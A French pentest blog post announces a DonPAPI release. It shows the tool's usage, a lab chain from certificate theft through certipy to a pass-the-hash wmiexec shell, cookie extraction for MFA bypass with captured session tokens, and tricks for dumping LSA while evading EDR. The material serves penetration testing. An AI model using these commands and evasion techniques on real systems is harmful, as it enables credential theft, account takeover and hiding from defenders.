DPAPI : Don’t Put Administration Passwords In
Le 30 juin 2023, nous étions à LeHack pour parler d’un sujet qui nous tiens à coeur, la DPAPI (vous avez peut-être déjà vu notre premier article sur le sujet). Deux de nos pentesteurs ont animé une présentation intitulée DPAPI: Don’t Put Administration Passwords In (les slides sont dispo ici). Pour cette occasion, nous avons choisis de publier une nouvelle version de DonPAPI avec plusieurs nouvelles fonctionnalités.
Packaging
Dorénavant, DonPAPI est disponible en tant que package sur Pypi ici !
Vous pouvez maintenant l’installer tout simplement avec la commande suivante (désolé pour l’ASCII art, wordpress fait des siennes :/) :
$ pip install donpapi $ DonPAPI -h , , LeHack Release! 💀 ( . by Touf & Zblurx @ Login-Securite &&&&&& &&&&&%%%. &&&&&& &&&&%%% &&&& &&&&&& &&&&&& &&&&&. &&&&%%% &&&&&&& &&&&&& &&&&&&&&&&&&& &&&&&&&&&&& &&&&%%% &&&&&&&&& &&&&&& &&&&&&&&&&&&&&&& &&&&&&&&&&&&& &&&&&&%%%%% &&&&&& &&&&&& &&&&&& &&&&&& &&&&& &&&&& ##### &&&&&&&&&%%%%%%% &&&&&&&&&&&&&&&& (&&&&&&&&&&&&&&& &&&&& &&&&& # # # &/&/////////////% &&&&&&&&&&&& &&&&&&&&&&&& &&&&& &&&&& ##### &&/&/#////////(//% &&&&&& &&&&&& &&&&& &&&&& ### &&/&/////////////% &&/&/////////////% &&&&&&&&& &&&&&&&&&& &&&&&&&&& &&&&& &&/&//////////(//% &&&&&&&&&&&&&& &&&&&&&&&&&&&& &&&&&&&&&&&&&& &&&&& &&/&/////////////% &&&&&& &&&&&& &&&&&& &&&&&&& &&&&&& &&&&&& &&&&& &&/&///////////(/% &&&&&& &&&&&& &&&&&& &&&&&& &&&&&& &&&&&& &&&&& &&/&///(/////////% &&&&&& &&&&&&&&& &&&&&&&&& &&&&&& &&&&&& &&&&&&&&& &&&&& &&/&/////////////% &&&&&& &&&&&&& &&&&&&& &&&&&& &&&&&& &&&&&&& &&&&& &&#&###########/#% &&&&&& &&&&&& &&###############% &&&&&& &&&&&& usage: DonPAPI [-h] [-credz CREDZ] [-pvk PVK] [-d] [-t number of threads] [-o OUTPUT_DIRECTORY] [-H LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-local_auth] [-laps] [-dc-ip ip address] [-target-ip ip address] [-port [destination port]] [-R] [--type TYPE] [-u] [--target] [--no_browser] [--no_dpapi] [--no_vnc] [--no_remoteops] [--GetHashes] [--no_recent] [--no_sysadmins] [--from_file FROM_FILE] [target] Dump revelant information on compromised targets without AV detection. positional arguments: target [[domain/]username[:password]@] optional arguments: -h, --help show this help message and exit -credz CREDZ File containing multiple user:password or user:hash for masterkeys decryption -pvk PVK input backupkey pvk file -d, --debug Turn DEBUG output ON -t number of threads number of threads -o OUTPUT_DIRECTORY, --output_directory OUTPUT_DIRECTORY output log directory authentication: -H LMHASH:NTHASH, --hashes LMHASH:NTHASH NTLM hashes, format is LMHASH:NTHASH -no-pass don't ask for password (useful for -k) -k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line -aesKey hex key AES key to use for Kerberos Authentication (1128 or 256 bits) -local_auth use local authentification -laps use LAPS to request local admin password connection: -dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter -target-ip ip address IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it -port [destination port] Destination port to connect to SMB Server Reporting: -R, --report Only Generate Report on the scope --type TYPE only report "type" password (wifi,credential-blob,browser-internet_explorer,LSA,SAM,taskscheduler,VNC,browser-chrome,browser-firefox -u, --user only this username --target only this target (url/IP...) attacks: --no_browser do not hunt for browser passwords --no_dpapi do not hunt for DPAPI secrets --no_vnc do not hunt for VNC passwords --no_remoteops do not hunt for SAM and LSA with remoteops --GetHashes Get all users Masterkey's hash & DCC2 hash --no_recent Do not hunt for recent files --no_sysadmins Do not hunt for sysadmins stuff (mRemoteNG, vnc, keepass, lastpass ...) --from_file FROM_FILE Give me the export of ADSyncQuery.exe ADSync.mdf to decrypt ADConnect password
Plus d’excuse pour l’utiliser.
Récupération des certificats Windows
Depuis les publications de Will Schroeder et Lee Christensen sur les abus des serveurs ADCS, les certificats sont à la mode. Et il est maintenant possible de les récupérer avec DonPAPI. Les certificats utilisateurs et machines seront exportés sous un format pfx, utilisable avec l’outil certipy :
$ DonPAPI -pvk key.pvk testlab.local/test_user:[email protected] -o dump [REDACTED] INFO [192.168.56.30] [+] Gathering Certificates Secrets INFO [192.168.56.30] [+] Found certificate for user Administrator. Writing it to dump/192.168.56.30/Administrator_testlab.local_D954AE81AD3F29CD.pfx Issuer: CN=TESTLAB-CA,DC=testlab,DC=local Subject: CN=Administrator,CN=Users,DC=testlab,DC=local Valid Date: 2023-06-16 14:25:54 Expiry Date: 2024-06-15 14:25:54 Extended Key Usage: Unknown OID (1.3.6.1.4.1.311.10.3.4) emailProtection (1.3.6.1.5.5.7.3.4) clientAuth (1.3.6.1.5.5.7.3.2) [!] Certificate is used for client auth! $ certipy auth -pfx dump/192.168.56.30/Administrator_testlab.local_E0F3243E939401FD.pfx Certipy v4.4.0 - by Oliver Lyak (ly4k) [*] Using principal: [email protected] [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'administrator.ccache' [*] Trying to retrieve NT hash for 'administrator' [*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:56a92b5bb5c2acbaf55c468dca2b2629 $ wmiexec.py testlab.local/[email protected] -hashes ':56a92b5bb5c2acbaf55c468dca2b2629' Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation [*] SMBv3.0 dialect used [!] Launching semi-interactive shell - Careful what you execute [!] Press help for extra shell commands C:\>
Contournement des MFA
Cette nouvelle release va également simplifier le contournement des authentifications multi facteurs. Lorsque DonPAPI collecte les cookies, il va les trier et les organiser dans un rapport spécifique, et simplifier leur injection dans votre navigateur pour permettre le bypass d’authentification et de mfa. Vous pourrez alors, via un simple bouton, mettre dans votre clipboard le code javascript qu’il faudra exécuter dans votre navigateur pour ajouter les cookies.
Mise à jour des Chrome browser et support de Edge
On le sait tous, les navigateurs sont des mines d’or quand on parle d’extractions de secrets. Dorénavant, DonPAPI extrait les mots de passe et les cookies stockées dans Edge, notamment grâce au travail de breenmachine.
INFO [192.168.56.59] [+] Gathering Chrome Secrets INFO [192.168.56.59] [+] [MSEdge Cookie] for support.microsoft.com [ EXPID:b743f624-36ea-468c-acca-499ef6d075a5 ] expire time: Jun 15 2024 08:26:12 INFO [192.168.56.59] [+] [MSEdge Cookie] for .microsoft.com [ MC1:GUID=b54b8e2a46484af28026f916f9979e07&HASH=b54b&LV=202306&V=4&LU=1686817575288 ] expire time: Jun 14 2024 08:26:17 INFO [192.168.56.59] [+] [MSEdge Cookie] for support.microsoft.com [ MSFPC:GUID=b54b8e2a46484af28026f916f9979e07&HASH=b54b&LV=202306&V=4&LU=1686817575288 ] expire time: Jun 14 2024 08:26:17 INFO [192.168.56.59] [+] [MSEdge Cookie] for support.microsoft.com [ MicrosoftApplicationsTelemetryDeviceId:7cd0bfc8-73e0-4c87-8ed9-ddd510535682 ] expire time: Jun 14 2024 08:26:15 INFO [192.168.56.59] [+] [MSEdge Cookie] for login.microsoftonline.com [ buid:0.AQIAMe_N-B6jSkuT5F9XHpElWhkrJ-4RRD9DjyhcE8tv1AcBAAA.AQABAAEAAAD--DLA3VO7QrddgJg7Wevrg29EKUojuhsSiA06Z1wStxsu-NVGDRxXZMHSGtoode8cuBZN3dUTBBUL2X9iAZkFSgz-arOxuPbGscLvtBcWJWBmi1uiA6nUNP0A3aHJEWogAA ] expire time: Jul 15 2023 08:26:16 INFO [192.168.56.59] [+] [MSEdge Cookie] for .login.microsoftonline.com [ esctx:PAQABAAEAAAD--DLA3VO7QrddgJg7WevrjMnVVFFq8YvcBcwEJAuhYIA0MFcVv-qpzYVWMVruuZ8GGajcIDE3T_3G1GnfWne8c9TbopeEibhHCaZ5f58ABZAtLUDDnR3s8SMAkGjMY-Lh3tAtjCJcjww4qs94KTWAMvJLyolznYZZTzxH-qkd5om0kW7VEJrl1q7nBOvIleAgAA ] expire time: Jan 01 1601 00:00:00 INFO [192.168.56.59] [+] [MSEdge Cookie] for login.microsoftonline.com [ fpc:AqJCM_FeOw1Equvytm7d9uFqwEtIAQAAACTCHNwOAAAA ] expire time: Jul 15 2023 08:26:16 INFO [192.168.56.59] [+] [MSEdge Cookie] for login.microsoftonline.com [ stsservicecookie:estsfd ] expire time: Jan 01 1601 00:00:00 INFO [192.168.56.59] [+] [MSEdge Cookie] for login.microsoftonline.com [ x-ms-gateway-slice:estsfd ] expire time: Jan 01 1601 00:00:00
Quelques tricks pour dumper LSA sans faire sonner les EDR
Pour récupérer les secrets machine, DonPAPI a besoin de de déchiffrer les masterkeys machine. Et pour cela, il lui faut les clé DPAPI machine, stockées dans LSA. Long story short, pour récupérer les secrets machine, il faut dumper les LSA. Le problème, c’est que cette opération est souvent surveillée par les EDR.
Dumper les LSA, ça nécessite 3 étapes :
- Activer les Remote Registry
- Récupérer la Boot Key
- Exporter le registre SECURITY
En modifiant le comportement de certaines étapes, il est possible de tromper la vigilence de ces outils. On peut jouer sur :
- Le nom du fichier de sortie de l’export du registre SECURITY : Impacket génère un nom de fichier basé sur 8 caractères ASCII généré aléatoirement et l’extension `.tmp`. En modifiant le nom du fichier généré par 12 caractères avec l’extension `.log`, certains EDR perdent le fil;
- L’accès à distance via les shares SMB : Par défaut, Impacket accède aux fichiers sur la machine via le share ADMIN\$, si on y accède via C\$, le comportement du dump est légèrement modifié;
- La temporalité entre l’accès à la bootkey et le dump du registre SECURITY : durant nos tests, nous avons observé que si on faisait une pause de 5 minutes entre ces deux actions, certains EDR n’arrive plus à corréler les évènements.
Nous avons implémenté les 2 premiers points dans la dernière release.
Finally
Voilà tout pour cette release ! On remercie beaucoup les utilisateurs qui ont ouvert des issues et/ou fait des PR (elles sont toujours bienvenues).